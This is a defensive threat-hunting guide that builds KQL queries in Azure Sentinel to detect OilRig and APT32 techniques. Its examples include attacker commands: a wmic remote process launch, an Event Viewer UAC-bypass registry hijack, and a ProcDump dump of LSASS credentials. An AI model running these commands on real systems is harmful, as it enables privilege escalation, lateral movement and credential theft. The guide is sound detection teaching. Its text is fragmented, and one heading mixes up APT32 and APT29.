
Summary 

 

 
Azure Sentinel is a cloud native SIEM that leverages the power of Artificial Intelligence to ana-
lyse large data volumes at scale.  
 
In this document – We will cover different TTPs based on public reports, and how we could use 
Azure Sentinel to hunt for all the described TTPs in just a matter of time. 
 
All the queries are written in KQL and for each described TTP. A KQL query is shown as exam-
ple in different steps. This helps you to understand the basic concepts of the written KQL as 
well. 

 
 
 
 
 

 
  



 

 

 

 Introduction 
 
 
Azure Sentinel is a Cloud native SIEM solution that helps you to detect, investigate, and hunt for 
malicious activities in your environment. 
 
It's a solution based in the Cloud, which means that you don't need to worry about managing the 
underlying infrastructure. This allows you to spend your valuable time in hunting, investigating, 
and responding to security threats. 
 
This document is targeted for Blue Teamers with the likes of Threat Hunters and SOC Analysts. In 

this document, we will cover examples of public APT reports and articles, with the primary focus 
on different techniques that have been used in the ''wild''. 
 
After we have discovered which techniques were used in APT reports. We will try to map it to 
MITRE ATT&CK, and later on. Create a KQL query in Azure Sentinel to hunt down the technique(s) 
that were used. Besides of creating a hunting query. It is also possible to create a custom detec-
tion rule based on a query. This could for example be used to map the capabilities of a detection 
rule to MITRE ATT&CK.  
 
You can expect a lot of ''hands-on'' stuff, which makes more sense. Since it would give you the 
feeling on getting used to Azure Sentinel, but primary on a practical way.  
 

 
 
 
 
 
 
 
 
 
 
 
 

 
 
 
 
 
 
 
 
 
 



 

 

 

 DISCLAIMER 
 
How can we query in Azure Sentinel to hunt for TTPs? 
 
To avoid any confusion on what you will learn. The purpose of this documentation is to teach you 
the following aspects: 
 

- Data sources that belong to a TTP 
- Analysing logs 
- Use KQL to hunt for TTP's based on public reports 

 

That's been said. It would be great if you understand the basic concepts on how to create a sim-
ple KQL query. I got you covered, so if you're not familiar with KQL (yet). 
 
Please take a look at: 
https://getshitsecured.com/2020/04/28/kusto-query-internals-azure-sentinel-reference/ 
 
We will cover everything in different steps, so the goal is to help you understand the KQL that is 
written. I don't want you to just blindly copy and paste these queries. 
 
All of these queries are just the basic, but you do need to understand the basic of KQL. It is really 
the fundamentals in Azure Sentinel. 
 

The queries are primary used in a way to search for logs that could be malicious, some of them 
can be used to create an incident alert for it, but the majority of them are more used to search 
for anomalies.  
 
 
 
 
  

https://getshitsecured.com/2020/04/28/kusto-query-internals-azure-sentinel-reference/

 G0049 - OilRig 
 
 
OilRig is a suspected Iranian threat group that has targeted Middle Eastern and international vic-
tims since at least 2014. The group has targeted a variety of industries, including financial, gov-
ernment, energy, chemical, and telecommunications, and has largely focused its operations 
within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust 
relationship between organizations to attack their primary targets.  
 
Source: https://attack.mitre.org/groups/G0049/ 
 

We are going to cover three different techniques that have been used by APT groups. 
 

 T1012 – Query Registry 

 T1003 – Credential Dumping 

 T1047 – WMI 
 
  

https://attack.mitre.org/groups/G0049/


 

 

 

 T1021 – Query Registry 
 
Palo Alto Networks has stated in one of their public reports that OilRig has uses the following 
technique: T1021 – Query Registry. 
 
According to the blog post of Palo Alto Networks. The exact following command has been ran on 
a compromised host.  
 

reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default” 

 
Source: https://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/ 

 
Reg query can be used to gather information about the (compromised) system, configuration 
settings, and what kind of software has been installed on a system. 
 

This specific registry key that OilRig was querying might look like this, where they were looking 
for the most recently RDP session(s) of a user. 
 
This is valuable information to know, because it is likely that OilRig was trying to find sessions on 
other systems to move laterally to. 
 
As we can see in the following example. The user Bob was recently logged on the IDENTITY-DC 
machine through RDP. 

 

 
 
ATT&CK recommends the following data sources to detect this type of technique: 

 

  

https://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/


 

 

 

In our case, we are only querying a registry key. Which means that we need to have the following 
settings configured on our system. Both of these settings can be configured with Group Policy. 
 

 Audit Process Creation 

 Include command line in process creation events 

 
If we have configured both settings and ran the exact same reg query command. It will look 
something like this in the event logs. 
 

 
 
 
We have now to create a KQL query to hunt for this type of activities, so we will use Azure Senti-
nel to do so. 
 
Before you can receive event logs from endpoints in Azure Sentinel. It is required to install the 
Microsoft Monitoring Agent via Log Analytics on your endpoints. 
 
  



 

 

 

First we will start with a simple KQL query to get quick results, and later on. We will update our 
KQL query to make it more accurate. 
 
Event 4688 tells that a new process has been created and we were using reg.exe to do so. I've 
specified in my query that it will look from data in the last 3 days. 
 
// T1021 - Query Registry 
// Reference: https://attack.mitre.org/tech-
niques/T1012/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4688 and Process == "reg.exe" 

 

 

 
 
The command line includes ''reg'' as the NewProcessName and ''query'' itself is part of the New-
ProcessName, so we can update our KQL query to something like this: 
 
// T1021 - Query Registry 
// Reference: https://attack.mitre.org/techniques/T1012/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4688 and Process == "reg.exe" 
and CommandLine contains "query" 

 

 
Kusto will process the results as well, but this time it will only returns, results that contains   
''query'' in the command line of the ''reg.exe'' process. 
 

 
 
I can tell from experience that only looking for ''reg query'' might lead to false positives, so to re-
duce down the amount of (potential) false positives. It is IMHO recommended to filter on a spe-
cific registry key. Which is in our case the following: 
 

HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default 

 
  



 

 

 

Our KQL query will now look like this, when we're filter on the above mentioned registry key. You 
can see that I've used the "has" operator, instead of "contains" - Because the "has" operator will 
filter on the exact registry key. 
 
// T1021 - Query Registry 
// Reference: https://attack.mitre.org/techniques/T1012/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4688 and Process == "reg.exe" 
and CommandLine contains "query" and CommandLine has "HKEY_CURRENT_USER\\Soft-
ware\\Microsoft\\Terminal Server Client\\Default" 

 

 
This KQL query will now return a more accurate result. To make sure that we only see the rele-
vant columns. We can use the project operator to only display the relevant columns. Last, but 
not least. We would like to order the Time of the event that has occurred. 
 

 
 
This will be our final KQL query 

 
// T1021 - Query Registry 
// Reference: https://attack.mitre.org/techniques/T1012/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4688 and Process == "reg.exe" 
and CommandLine contains "query" and CommandLine has "HKEY_CURRENT_USER\\Soft-
ware\\Microsoft\\Terminal Server Client\\Default" 
| project TimeGenerated, Account, Computer, Activity, CommandLine 
| order by TimeGenerated desc 

 

 
At the returned results. We now can see the username, computer, and of course. The command 

line that was typed in. 
 

 
 
  



 

 

 

 T1021 – Defender Tips 
 
If we only look for one registry key. It's not enough, but if we filter on ''reg query'' – It might      
increases the false positives, which we also would like to avoid. 
 
Here we are querying another registry key than the one mentioned above. 
 

 
 
Let's say that we want to monitor another registry as well and look for any query attempts. 
We need to use the ''or'' logical operator in our KQL query and specify the registry key. Keep in 
mind that this approach is just an example. 
 
We are primary interested in both of the following registry keys: 
 

HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 

 

We can use the following KQL query to obtain the returned results that we're expecting. 
 
// T1021 - Query Registry 
// Reference: https://attack.mitre.org/techniques/T1012/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4688 and Process == "reg.exe" 
and CommandLine contains "query" and CommandLine has "HKEY_CURRENT_USER\\Soft-
ware\\Microsoft\\Terminal Server Client\\Default" 
or CommandLine has "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\Cur-
rentVersion\\Run" 
| project Account, Computer, CommandLine 

 

 
Here we can see that it will now return the results, where it contains both values in the Com-
mandLine column. 
 

 
 



 

 

 

You might be wondering? Hey, we're done for the day now. Well unfortunately an attacker can 
bypass this KQL query with the following example: 
 
Instead of running the following command: 
 

reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default” 

 
An attacker could use the following: 
 

reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" 

 

 
 
This means that if we run the following KQL query for example: 
 
// T1021 - Query Registry 
// Reference: https://attack.mitre.org/techniques/T1012/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4688 and Process == "reg.exe" 
and CommandLine contains "query" and CommandLine has "HKEY_CURRENT_USER\\Soft-
ware\\Microsoft\\Terminal Server Client\\Default" 
| project Account, CommandLine 

 

 
We wouldn't see the bypass of the attacker as you can see. 
 

 
 
  



 

 

 

To make our KQL query a bit more accurate to also detect the potential bypass. We can exclude 
HKCU and HKEY_CURRENT_USER in our KQL query, so it will look something like this. 
 
// T1021 - Query Registry 
// Reference: https://attack.mitre.org/techniques/T1012/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4688 and CommandLine has "query" 
| where CommandLine has "Software\\Microsoft\\Terminal Server Client\\Default" 

 

 
Here we can see that it will now return both HKCU & HKEY_CURRENT_USER. 

 

 
 
 
Perhaps we would like to include HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur-
rentVersion\Run as well in our query. We can do this by removing the first part of the Registry 
key, which is in this case ''HKEY_LOCAL_MACHINE'' – This means that we will only specify the fol-
lowing value in our new query: Software\Microsoft\Windows\CurrentVersion\Run 

 
We need to use the ''or'' logical operator in our query to get both registry values in the returned 
results. 
 
// T1021 - Query Registry 
// Reference: https://attack.mitre.org/techniques/T1012/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4688 and CommandLine has "query" 
| where CommandLine has "Software\\Microsoft\\Terminal Server Client\\Default" 
    or CommandLine has "Software\\Microsoft\\Windows\\CurrentVersion\\Run" 

 

 
Now as you can see in our final result. The query will now return all the expected results. 
 

 
 
  



 

 

 

 T1003 – Credential Dumping 
 
In the following report of Nyotron. It was stated that OilRig was dumping credentials from the 
Local Security Authority Subsystem Services (LSASS) with a known tool from Sysinternals called 
ProcDump. 
 

 
 
Source: https://www.nyotron.com/collateral/Nyotron-OilRig-Malware-Report-March-2018.pdf 
 
ATT&CK recommends to collect the following data sources: 
 

 
 
 
Is it necessary to collect PowerShell logs for this specific technique? In my opinion. Sure, it's a 
great benefit, but it is not immediately required (IMHO) to collect those logs to hunt for Creden-
tial Dumping. 
 

To configure the right data sources for Credential Dumping. We have to make sure that following 
settings are configured on a system: (This can be done with Group Policy) 
 

 Audit Process Creation 

 Include command line in process creation events 

 Audit Kernel Object 
 
 
 
 
 

https://www.nyotron.com/collateral/Nyotron-OilRig-Malware-Report-March-2018.pdf


 

 

 

Here you can see a ProcDump output when dumping credentials from memory. 

 

The following two events are the one that we are primary interested in: 4688 & 4663. 

 

The command line that we are primary interested in, which might give us information extra infor-

mation. 

 

  



 

 

 

Now we are going to look at the other event, which is 4663. 
 

 
 
Here we can see the different data fields in the event that contains \Device\HarddiskVol-
ume2\Windows\System32\lsass.exe as value, at the Object Name attribute. 
 

 
 
  



 

 

 

We now have all the relevant event logs that we are looking for. Now it is time to create a KQL 
query for it. 
 
We will first start with the following KQL query: 
 
// T1003 - Credential Dumping 
// Reference: https://attack.mitre.org/techniques/T1003/ 
let timeframe = 7d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4663 and ObjectName == "\\Device\\HarddiskVolume2\\Win-
dows\\System32\\lsass.exe" 

 

 
As you will notice. It will return 131 records in this example, so the above query is not recom-
mended. Since it would generate a lot of noise. 
 

 
 

If we now use the ''User'' value in the AccountType column. It would contain more accurate re-
sults, but it can be bypassed if an attacker decides to create a new computer account in AD and 
add it to the local Administrators group, which allows the attacker to use the machine account to 
dump LSASS. It is rare that this would happen, but more of a reminder that it is possible. 
 
// T1003 - Credential Dumping 
// Reference: https://attack.mitre.org/techniques/T1003/ 
let timeframe = 7d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4663 and ObjectName == "\\Device\\HarddiskVolume2\\Win-
dows\\System32\\lsass.exe" 
| where AccountType == "User" 

 

 

 
 
  



 

 

 

When we look at the EventData column. It contains more interesting values that we can filter on. 
 
// T1003 - Credential Dumping 
// Reference: https://attack.mitre.org/techniques/T1003/ 
let timeframe = 7d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4663 and ObjectName == "\\Device\\HarddiskVolume2\\Win-
dows\\System32\\lsass.exe" 
| where AccountType == "User" 
| project EventData 

 

 

We are interested in the SubjectLogonId, so we are going to use the project operator to get the 
SubjectLogonId in a column with the values that belongs to it, which is in this example. 
0x121d676. 
 

 
 
This will be now our KQL query 
 
// T1003 - Credential Dumping 
// Reference: https://attack.mitre.org/techniques/T1003/ 
let timeframe = 7d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4663 and ObjectName == "\\Device\\HarddiskVolume2\\Win-
dows\\System32\\lsass.exe" 
| where AccountType == "User" 
| project TimeGenerated, EventID, Account, SubjectLogonId, Computer, ProcessName 
| sort by TimeGenerated desc 

 

 

 
  



 

 

 

Since we are also interested in the exact command line that was typed in. We need to use the 
information that we have right now. 
 
We can see at the ProcessName column above, that it contains ProcDump as a value. 
If we run the following KQL query: 
 
search in (SecurityEvent) "ProcDump" 

 

 
We can see that there is an event 4688 that also includes the command line. 
 

 
 
We will now fine-tune our KQL query to something that looks like this: 
 
// Search for ProcDump use 
let timeframe = 7d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4688 and NewProcessName == "C:\\Users\\Bob\\Desk-
top\\Procdump\\procdump64.exe" 
| project TimeGenerated, Account, SubjectLogonId, CommandLine, NewProcessName 
| sort by TimeGenerated desc 

 

 
If you look close to the SubjectLogonId column. It has the same value as that exist in event 4663 
as well. This gives a sign that there is a relationship between event 4688 & 4663.  
 

 
 
Event 4663 is technically enough to determine a LSASS was read, but to gather more infor-
mation. It is recommended to look at event 4688 as well to find that small extra piece of infor-
mation. 
 
  



 

 

 

 T1047 – WMI for lateral movement 
 
WMI is well-known part of lateral movement and also frequently used by attackers. It's not just 
for lateral movement, because attackers could also use it for reconnaissance. In this case, we are 
more interested in the lateral movement part. 
 

 
 
Here is an example when we are spawning a new process on a target system. 
 

wmic /node:"10.0.3.4" process call create "cmd.exe /c calc" 

 
Source: https://ired.team/offensive-security/lateral-movement/t1047-wmi-for-lateral-move-
ment 
 

 
 
According to MITRE ATT&CK. These are all the required data sources to detect WMI activities in a 
network. 
 

 
 
ATT&CK also gave a recommendation to capture wmic in the command-line, and mainly to look if 

it is spawning a remote process on a system. It's not perfect, but it gives a few quick wins. 

This is useful when organizations don't use WMI that often in their enterprise.  

https://ired.team/offensive-security/lateral-movement/t1047-wmi-for-lateral-movement
https://ired.team/offensive-security/lateral-movement/t1047-wmi-for-lateral-movement


 

 

 

The following settings needs to be configured on a system to get the right logs. 
 

 Audit Process Creation 

 Include command line in process creation events 

 
Windows events that we are looking for: 
 

 4624 – An account was successfully logged on 

 4688 – A new process has been created 
 
We will first analyse the two event logs and later on. Create a KQL query to hunt for this type of 

technique.  
 
The first thing that we can see is event 4624 on the target host, when spawning a process 
through WMI. 
 
It shows a Logon Type 3, which is equivalent to a ''Network logon'' 
 

 
 
  



 

 

 

Event 4688 tells that a new process has been created with the command line that shows that 

calc.exe has been executed on the target host. 

WmiPrvSE.exe is a component of Windows Management Instrumentation (WMI). It is a host ser-

vice for WMI and it resides in the C:\Windows\System32\wbem directory. 

You can see it at the ''Creator Process Name'' field level of event 4688. 

 

 

 

We have now the relevant information, so we can start create our KQL query. To understand the 

KQL query. I will explain everything in steps, which helps you to understand the core concepts of 

the KQL query. 



 

 

 

Our first query will look for data at the past 3 days to see if this activity has happened. 

We will start with the quick wins first, which is filtering on the NewParrentProcessName column 

at event 4688. We will filter on C:\\Windows\\System32\\wbem, because the WMI component 

resides in that directory. 

// T1047 – Windows Management Instrumentation (WMIC.exe) 
// Reference: https://attack.mitre.org/techniques/T1047/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4688 
| where NewProcessName contains "C:\\Windows\\System32\\wbem" 

 

 

What you will notice is a lot of noise, because the ParrentProcessName contains svchost.exe, 

which is part of a normal Windows operation. 

 

If we are now going to exclude svchost.exe in the ParrentProcessName. We will the following 

results, which reduces the amount of false positives a lot. 

// T1047 – Windows Management Instrumentation (WMIC.exe) 
// Reference: https://attack.mitre.org/techniques/T1047/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4688 
| where NewProcessName contains "C:\\Windows\\System32\\wbem" 
| where ParentProcessName <> "C:\\Windows\\System32\\svchost.exe" 

 

 

 



 

 

 

If we now run the following KQL query with some fine-tuning.  

// T1047 – Windows Management Instrumentation (WMIC.exe) 
// Reference: https://attack.mitre.org/techniques/T1047/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4688 
| where NewProcessName contains "C:\\Windows\\System32\\wbem" 
| where ParentProcessName <> "C:\\Windows\\System32\\svchost.exe" 
| project TimeGenerated, Account, Computer, CommandLine, NewProcessName, 
ParentProcessName, SubjectLogonId 
| sort by TimeGenerated desc 

 

 

We can see only 3 results, instead of 974. This reduces the amount of results a lot. 

 

ATT&CK recommended to detect commands that are used to perform remote behaviour and    

according to Microsoft. The ''NODE'' syntax is part of WMIC.exe to execute a remote command. 

 

 

Another example is from the blog post of Cobalt Strike. Where it explains different lateral move-

ment techniques. 

 

Source: https://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/  

https://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/


 

 

 

If we now change our KQL query to the following: 
 
// T1047 – Windows Management Instrumentation (WMIC.exe) 
// Reference: https://attack.mitre.org/techniques/T1047/ 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4688 
| where NewProcessName contains "C:\\Windows\\System32\\wbem" 
and CommandLine has "/NODE" 
| where ParentProcessName <> "C:\\Windows\\System32\\svchost.exe" 
| sort by TimeGenerated desc 

 

 
We improve our query a lot. It's not perfect, but it is worth to use it. Since it will now only return 
results that have the ''/NODE'' syntax in the command-line. 
 

 
 

 
 
What you notice is that a process has been executed on a remote host with the IP address 
10.0.3.4  
 
Ok, let's take a step back and try to summarize what kind of information we have right now. 
 
We can see that at 5/9/2020 around 6:10 PM – Alice uses WMIC to execute a remote command 
on the host 10.0.3.4 

 
This is valuable information to investigate further, because we know that we now need to look at 
the authentication logs. Executing WMI on a remote host leaves a Logon Type 3 behind in the 
logs. This is equivalent to a network logon as discussed earlier. 
 
  



 

 

 

Let's start with a simple KQL query. 
 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4624 and LogonType == 3 
| where AccountType == "User" 
| project TimeGenerated, EventID, Account, Computer, IpAddress, LogonType 
| sort by TimeGenerated desc 

 

 
Here we can see around 1000 results 
 

 
 
Since we know that the user Alice has spawn a remote process, and that WMI leaves a Logon 
Type 3 on a remote host. We can filter on the username ''Alice'' and Logon Type ''3'' 
 

The reason that we are doing this is to get a more accurate results, instead of looking to 1000+ 
returned results, of course. 
 
let timeframe = 3d; 
SecurityEvent 
| where TimeGenerated >= ago(timeframe) 
| where EventID == 4624 and LogonType == 3 
| where Account == "IDENTITY\\Alice" 
| project TimeGenerated, Account, Computer, IpAddress, LogonType 
| sort by TimeGenerated asc 

 

 
10.0.3.4 Is the IP of the host IDENTITY-DC and 10.0.3.11 is the IP of the client workstation that 

has spawn the remote process on the target host. 
 

 
 
  



 

 

 

Now the last step is to compare to event 4624 & 4688 with each other to get a conclusion. 
 
This is the returned results of event 4624 
 

 
 
This is the returned result of event 4688 
 

 
 
If we look close at the TimeGenerated column. We can see that the time + date matches with 
each other, and that the following command-line was executed on the remote host. 

 

 
 
If we can validate all of this information. There is a chance that someone might uses WMI to exe-
cute a process remotely on a host. 
 
  



 

 

 

 T1047 – WMI Module Load 
 
Attackers might leverage to WMI modules to execute commands on a remote host. ATT&CK has 
stated that APT41 was primary known for doing this in their operations. 
 

 
 
Since they have used WMIEXEC. We will use it as well to demonstrate it as an example. 
 
At the following image. We were using WMIEXEC to execute remote commands on a host, and as 

an example. We ran the ''query user'' command to find which users were recently logged on. 
 

 
 
If we want to detect this kind of activity. We need to collect Image Load Events. 
A Windows process can load a .DLL to carry out certain functions. 

 
It's hard to detect this type of activity with regular Windows event logs, so we could use the free 
super powers of Sysmon to do so. 
 
This is a description of the event that we have to configure. What it also warns us that it gener-

ates a number of events. Make sure that it's configured properly before you go further. 
 

 
 
  



 

 

 

After we used WMIEXEC to run commands on a remote host. We can see that a .dll has been 
loaded, which is wmiutils.dll 
 

 
 
 
To collect this event, we have to configure Sysmon on our endpoints and load all connect the 
data through Log Analytics. After we have done that. We can run queries in Azure Sentinel. 
 

 
 
After googling around. I've notice that @Cyb3rWard0g has shared some valuable information 
about WMI, so besides of looking to C:\Windows]System32\wmiutils.dll – There is a list of WMI 
modules that we should look for. 
 
C:\Windows\System32\wmiclnt.dll 

C:\Windows\System32\wbem\WmiApRpl.dll 
C:\Windows\System32\wbem\wmiprov.dll 
C:\Windows\System32\wbem\wmiutils.dll 
 
Source: https://github.com/hunters-forge/ThreatHunter-Playbook/blob/master/playbooks/WIN-
190811201010.yaml 
 
  

https://github.com/hunters-forge/ThreatHunter-Playbook/blob/master/playbooks/WIN-190811201010.yaml
https://github.com/hunters-forge/ThreatHunter-Playbook/blob/master/playbooks/WIN-190811201010.yaml


 

 

 

We will first start with a simple KQL query to look for event ID 7. 
 
// T1047 - WMI Module Load 
// Reference: https://attack.mitre.org/techniques/T1047/ 
let timeframe = 3d; 
Event 
| where TimeGenerated >= ago(timeframe) 
| where Source == "Microsoft-Windows-Sysmon" and EventID == 7 

 

 
We can see 27 results and a column with the name EventData that stores values in a XML for-
mat. 

 

 
 
It stores different field levels, such as ImageLoaded. We are going to use the parse operator to 
parse the XML format. 
 

 
 
  



 

 

 

If we run the following KQL query. We can see that we just parsed the ImageLoaded value that is 
stored in the EventData column. 
 
// T1047 - WMI Module Load 
// Reference: https://attack.mitre.org/techniques/T1047/ 
let timeframe = 3d; 
Event 
| where TimeGenerated >= ago(timeframe) 
| where Source == "Microsoft-Windows-Sysmon" and EventID == 7 
| parse EventData with * 'ImageLoaded">' ImageLoaded '</Data>' * 
| project TimeGenerated, Source, Computer, ImageLoaded 
| order by TimeGenerated desc 

 

 

 
 
Now we are going to filter on all the relevant .dll extensions: 
 
C:\Windows\System32\wmiclnt.dll 
C:\Windows\System32\wbem\WmiApRpl.dll 

C:\Windows\System32\wbem\wmiprov.dll 
C:\Windows\System32\wbem\wmiutils.dll 
 
// T1047 - WMI Module Load 
// Reference: https://attack.mitre.org/techniques/T1047/ 
let timeframe = 3d; 
Event 
| where TimeGenerated >= ago(timeframe) 
| where Source == "Microsoft-Windows-Sysmon" and EventID == 7 
| parse EventData with * 'ImageLoaded">' ImageLoaded '</Data>' * 
| where ImageLoaded has "C:\\Windows\\System32\\wbem\\wmiutils.dll" 
    or ImageLoaded has "C:\\Windows\\System32\\wmiclnt.dll" 
    or ImageLoaded has "C:\\Windows\\System32\\wbem\\WmiApRpl.dll" 
    or ImageLoaded has "C:\\Windows\\System32\\wbem\\wmiprov.dll" 
| project TimeGenerated, Source, Computer, ImageLoaded 
| order by TimeGenerated desc 

 

 
Here are the returned results: 
 

 



 

 

 

Ok we will now take a step back, because now it is going to get a bit complicated. 
 
This is an example where we use WMIEXEC to run ''ipconfig'' on a remote host. 
 

 
 
After we uses WMIEXEC to run ''ipconfig /all'' on the remote host. We can see that a .dll has 

been loaded in the logs. 
 

 
 
We know that a wmiutils.dll has been loaded, but that still doesn't give us all the right infor-

mation, because if you would see this at the logs. You probably won't have enough information! 

 

  



 

 

 

As you can see in the image above. Event 7 (Image Loaded) has been generated on the Client2 
workstation, so the first thing that comes into my mind. Which user(s) interacted recently at the 
Client2 machine? 
 
SecurityEvent 
| where Computer == "Client2.IDENTITY.local" 
| where AccountType == "User" 
| sort by TimeGenerated desc | limit 10 

 

 
Here we can see that the user Alice has been interacted recently with the Client2 machine. This 
is very useful information to get further. 

 

 
 
Did you remember that we ran "ipconfig /all" on a remote host through WMIEXEC? ;-)  
 
search "ipconfig" 

 

 
This has been logged and you can recognize it at the event ID ''8002'' – Which is part of the       
Applocker events. I know, what you are thinking. Why should we look at the Applocker events? 
 
 

 
 

  



 

 

 

First let's take a look at the Applocker events. 
 
SecurityEvent 
| where EventSourceName == "Microsoft-Windows-AppLocker" 

 

 
10.000 results… 
 

 
 
We are now going to filter on the user ''Alice'' 
 
SecurityEvent 
| where EventSourceName == "Microsoft-Windows-AppLocker" 
| where Account == "IDENTITY\\Alice" 
| sort by TimeGenerated 

 

 
Let's quickly summarize what we have. After Alice started to run WMIEXEC to execute remotely 
the ipconfig /all command. A DLL was loaded in Sysmon, with the name. wmiutils.dll 

 
We have verified this, because Alice has recently interacted with the Client2 machine. From 
there, we started to look in the Applocker events, but of course. We filtered on the user ''Alice'' 
to reduce the noise. 
 
What we are seeing here is that ipconfig command was run on the IDENTITY-DC server. 
 

 
 
  



 

 

 

Now let's try to find more information, because if we know that ipconfig.exe has been executed 
on the remote host. A process has been created, so we can look in event 4688. 
 
search in (SecurityEvent) "ipconfig" 
| sort by TimeGenerated 
 

 

 

 
 
Last step is to fine-tune our KQL query. 
 
SecurityEvent 
| where EventID == 4688 and CommandLine contains "ipconfig" 
| sort by TimeGenerated desc 
| project TimeGenerated, Account, Computer, CommandLine 

 

 
Returned results! 

 

 
 
  



 

 

 

 G0016 - APT32 
 
APT29 is threat group that has been attributed to the Russian government and has operated 
since at least 2008. This group reportedly compromised the Democratic National Committee 
starting in the summer of 2015. 
 
Source: https://attack.mitre.org/groups/G0016/ 
 
We are going to cover three examples of the TTP's that APT32 have used in their operations. 
 
T1088 – Bypass UAC (One example) 

T1085 – Rundll32 
T1086 – PowerShell 
 
  

https://attack.mitre.org/groups/G0016/


 

 

 

 T1088 – Bypass UAC 
 
According to ATT&CK. It says that APT32 has bypassed UAC in their operations. 
 

 
 
A known UAC bypass can be done through Event viewer. 
 

 
 
ATT&CK recommends the following data sources to detect such type of technique: 
 

 
 
Keep in mind that there are so many UAC bypasses, so this is just one example.  
 
[Example] 
To configure the right settings to collect the logs for this technique. The following settings needs 
to be configured on a machine 

 

 Audit Process Creation 

 Include command line in process creation 

 
This time we won't use regular security events, but we will rely on the power of Sysmon.  
 

 Event 1 – Process create 

 Event 3 – Registry value set 
 
 
 



 

 

 

 Event 1 – Process Create 

 Event 3 – Registry value set 

 
The following two events in Sysmon will be used to hunt for this technique. 
 
Here we can see a process creation event. It includes the (original) filename that was used to 
perform this operation, which is reg.exe – Besides of that, it contains the exact command line. 
 

 
 

Another event we can see is event 3 in Sysmon, which is ''Registry value set'' 
 

 
 
 
 



 

 

 

We will start first with event 1. If we run the first following KQL query 
 
Event 
| where Source == "Microsoft-Windows-Sysmon" 
| where EventID == 1 
| project TimeGenerated, Computer, EventData, RenderedDescription 
| sort by TimeGenerated desc 

 

 
We can see some columns that exist in the Sysmon event. This is to help you understand what 
the (interesting) columns are to look at. We'll get later on this. 
 

 
 
If we are now searching for the process ''reg.exe'' in the Event table. 
 
search in (Event) "reg.exe" 
| where Source == "Microsoft-Windows-Sysmon" 
| where EventID == 1 
| project TimeGenerated, Computer, EventData, RenderedDescription 
| sort by TimeGenerated desc 

 

 
This query will now return only 4 returns. All the interesting values are stored in a XML format, 
which we need to parse. 
 

 
 
We will start with the RenderedDescription column. 
  



 

 

 

When we are expanding the RenderedDescription column and paste it down. It contains the fol-
lowing information. 
 

Process Create: RuleName: technique_id=T1112,technique_name=Modify Registry,phase_name=Defense Evasion 

UtcTime: 2020-05-10 19:19:17.752 ProcessGuid: {1052BA5E-53B5-5EB8-0000-0010D291FE0F} ProcessId: 13488 Im-

age: C:\Windows\System32\reg.exe FileVersion: 10.0.18362.476 (WinBuild.160101.0800) Description: Registry Con-

sole Tool Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: 

reg.exe CommandLine: reg.exe  add hkcu\software\classes\mscfile\shell\open\command /ve /d "C:\Windows\Sys-

tem32\cmd.exe" /f CurrentDirectory: C:\windows\system32\ User: IDENTITY\Alice LogonGuid: {1052BA5E-677B-

5EB1-0000-0020AFFF0500} LogonId: 0x5ffaf TerminalSessionId: 2 IntegrityLevel: High Hashes: 

SHA1=EB3B03616EEE42F16D0703F64DE23E7E34FE8524,MD5=601BDDF7691C5AF626A5719F1D7E35F1,SHA256=4E

D2A27860FA154415F65452FF1F94BD6AF762982E2F3470030C504DC3C8A354,IM-

PHASH=BE482BE427FE212CFEF2CDA0E61F19AC ParentProcessGuid: {1052BA5E-53B2-5EB8-0000-0010E04AFE0F} 

ParentProcessId: 4756 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\windows\sys-

tem32\cmd.exe"   
 
If we are doing the exact same thing, but this time with the EventData column. It contains the 
following information. 
 

<DataItem type="System.XmlData" time="2020-05-10T19:19:17.7586100+00:00" source-

HealthServiceId="CD872621-525B-55E0-8313-4A7C10D8FDE1"><EventData xmlns="http://schemas.mi-

crosoft.com/win/2004/08/events/event"><Data Name="RuleName">technique_id=T1112,technique_name=Modify 

Registry,phase_name=Defense Evasion</Data><Data Name="UtcTime">2020-05-10 19:19:17.752</Data><Data 

Name="ProcessGuid">{1052ba5e-53b5-5eb8-0000-0010d291fe0f}</Data><Data Name="Proces-

sId">13488</Data><Data Name="Image">C:\Windows\System32\reg.exe</Data><Data Name="FileVer-

